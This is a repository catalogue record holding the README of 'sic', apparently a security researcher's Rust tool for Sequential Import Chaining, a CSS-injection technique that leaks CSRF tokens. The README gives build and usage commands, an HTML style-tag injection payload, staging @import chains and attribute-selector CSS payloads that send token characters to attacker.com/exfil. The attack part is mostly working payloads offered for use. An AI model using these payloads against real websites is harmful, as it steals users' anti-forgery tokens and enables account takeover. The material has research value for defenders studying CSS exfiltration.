{"id":13995324,"url":"https://github.com/d0nutptr/sic","last_synced_at":"2025-05-12T03:32:01.428Z","repository":{"id":97472496,"uuid":"180691979","full_name":"d0nutptr/sic","owner":"d0nutptr","description":"A tool to perform Sequential Import Chaining","archived":false,"fork":false,"pushed_at":"2019-09-11T22:40:10.000Z","size":27,"stargazers_count":262,"open_issues_count":4,"forks_count":13,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-03-31T23:51:08.427Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/d0nutptr.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2019-04-11T01:36:38.000Z","updated_at":"2025-03-28T15:14:42.000Z","dependencies_parsed_at":"2023-03-13T16:13:31.267Z","dependency_job_id":null,"html_url":"https://github.com/d0nutptr/sic","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d0nutptr%2Fsic","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d0nutptr%2Fsic/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d0nutptr%2Fsic/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d0nutptr%2Fsic/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/d0nutptr","download_url":"https://codeload.github.com/d0nutptr/sic/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253668083,"owners_count":21944976,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-09T14:03:20.971Z","updated_at":"2025-05-12T03:32:01.134Z","avatar_url":"https://github.com/d0nutptr.png","language":"Rust","funding_links":[],"categories":["Rust"],"sub_categories":[],"readme":"# Sequential Import Chaining\n\nTypical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using `x-frame-options: deny` or `x-frame-options: sameorigin`. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page).\n\nSequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.\n\n### Blog Post\nI wrote a blog post on this. Read about it [here!](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)\n\n## Prerequisites for Attack\n\nThis attack only works if the attacker at least one of these: \n\n* Style tag injection (HTML injection, for example)\n* Control of CSS at the top of a style tag.\n\nThe first case is probably more likely and will work even if filtered through vanilla DOM Purify.\n\n## Building\n\n1. Install RustUp (https://rustup.rs/ - `curl https://sh.rustup.rs -sSf | sh`)\n2. Install the nightly (`rustup install nightly`)\n3. Default to nightly (`rustup default nightly`)\n4. Build with cargo (`cargo build --release`)\n\nYou will find the built binary at `./target/release/sic`\n\n## Usage\n`sic` has documentation on the available flags when calling `sic -h` but the following is information for general usage.\n\n* `-p` will set the lower port that `sic` will operate on. By default this is 3000. `sic` will also listen on port `port + 1` (by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.\n* `--ph` sets the hostname that the \"polling host\" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults to `http://localhost:3000`. This _must_ be different than `--ch`\n* `--ch` similar to `--ph` but this sets the \"callback host\" where tokens are sent. Defaults to `http://localhost:3001`. This _must_ be different than `--ph`.\n* `-t` specifies the template file used to generate the token exfiltration payloads.\n* `--charset` specifies the set of characters that may exist in the target token. Defaults to alphanumerics (`abc...890`).\n\nA standard usage of this tool may look like the following:\n```\n./sic -p 3000 --ph \"http://localhost:3000\" --ch \"http://localhost:3001\" -t my_template_file\n```\n\nAnd the HTML injection payload you might use would look like:\n```\n\u003cstyle\u003e@import url(http://localhost:3000/staging?len=32);\u003c/style\u003e\n```\n\nThe `len` parameter specifies how long the token is. This is necessary for `sic` to generate the appropriate number of `/polling` responses. If unknown, it's safe to use a value higher than the total number of chars in the token.\n\n### Advanced Logs\n`sic` will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable `RUST_LOG`.\n\n```\nRUST_LOG=info ./sic -t my_template_file\n```\n\n### Templates\nThe templating system is very straightforward for `sic`. There are two actual templates (probably better understood as 'placeholders'):\n* `{{:token:}}` - This is the current token that we're attempting to test for. This would be the `xyz` in `input[name=csrf][value^=xyz]{...}`\n* `{{:callback:}}` - This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (`--ch`). All the information `sic` needs to understand what happened client-side will be in this url.\n\nAn example template file might look like this:\n```\ninput[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }\n```\n\n`sic` will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.\n\n### HTTPS\nHTTPS is not directly support via `sic`; however, it's possible to use a tool like nginx to set up a reverse proxy in front of `sic`. An example configuration is found in the [example nginx config](/example_nginx.conf) file thoughtfully crafted up by [nbk_2000](https://twitter.com/nbk_2000).\n\nAfter nginx is configured, you would run `sic` using a command similar to the following:\n\n```\n./sic -p 3000 --ph \"https://a.attacker.com\" --ch \"https://b.attacker.com\" -t template_file\n```\n\nNote that the ports on `--ph` and `--ch` match up with the ports nginx is serving and not `sic`. \n\n## Technique Description\n\nFor a better story and additional information, please see my blog post on [Sequential Import Chaining here](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b).\n\nThe idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat. \n\nObviously the \"repeat\" part is normally done using a full frame reload (iframing, or tabs... blah).\n\nHowever, we don't actually need to reload the frame to get the browser to reevaluate *new* CSS.\n\nSequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations:\n\n1. Inject an `@import` rule to the staging payload \n2. Staging payload uses `@import` to begin long-polling for malicious payloads\n3. Payloads cause browser to call out using `background-img: url(...)` causing the next long-polled `@import` rule to be generated and returned to the browser.\n\n## Example\n\nHere's an example of what these might look like:\n\n### Payload\n`\u003cstyle\u003e@import url(http://attacker.com/staging?len=32);\u003c/style\u003e`\n\n### Staging\n```\n@import url(http://attacker.com/lp?len=0);\n@import url(http://attacker.com/lp?len=1);\n@import url(http://attacker.com/lp?len=2);\n...\n@import url(http://attacker.com/lp?len=31); // in the case of a 32 char long token\n```\n\n### Long-polled Payload (length 0)\nThis is a unique, configurable template in `sic` because this part is very context specific to the vulnerable application.\n```\ninput[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }\ninput[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }\ninput[name=xsrf][value^=c] { background: url(http://attacker.com/exfil?t=c); }\n...\ninput[name=xsrf][value^=Z] { background: url(http://attacker.com/exfil?t=Z); }\n```\n\nAfter the browser calls out to `http://attacker.com/exfil?t=\u003cfirst char of token\u003e`, `sic` records the token, generate the next long-polled payload, and return a response for `http://attacaker.com/lp?len=1`. \n\n### Long-polled Payload (length 1 - given `s` as first char)\n```\ninput[name=xsrf][value^=sa] { background: url(http://attacker.com/exfil?t=sa); }\ninput[name=xsrf][value^=sb] { background: url(http://attacker.com/exfil?t=sb); }\ninput[name=xsrf][value^=sc] { background: url(http://attacker.com/exfil?t=sc); }\n...\ninput[name=xsrf][value^=sZ] { background: url(http://attacker.com/exfil?t=sZ); }\n```\n\nThis repeats until no more long-polled connections are open.\n\n----\n\nShoutout to the following hackers for help in one way or another.\n\n* [0xacb](https://twitter.com/0xACB)\n* [cache-money](https://twitter.com/itscachemoney)\n* [Shubs](https://twitter.com/infosec_au)\n* [Sean](https://twitter.com/seanyeoh)\n* [Ruby](https://twitter.com/_ruby)\n* [vila](https://twitter.com/cgvwzq)\n* [nbk_2000](https://twitter.com/nbk_2000)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fd0nutptr%2Fsic","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fd0nutptr%2Fsic","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fd0nutptr%2Fsic/lists"}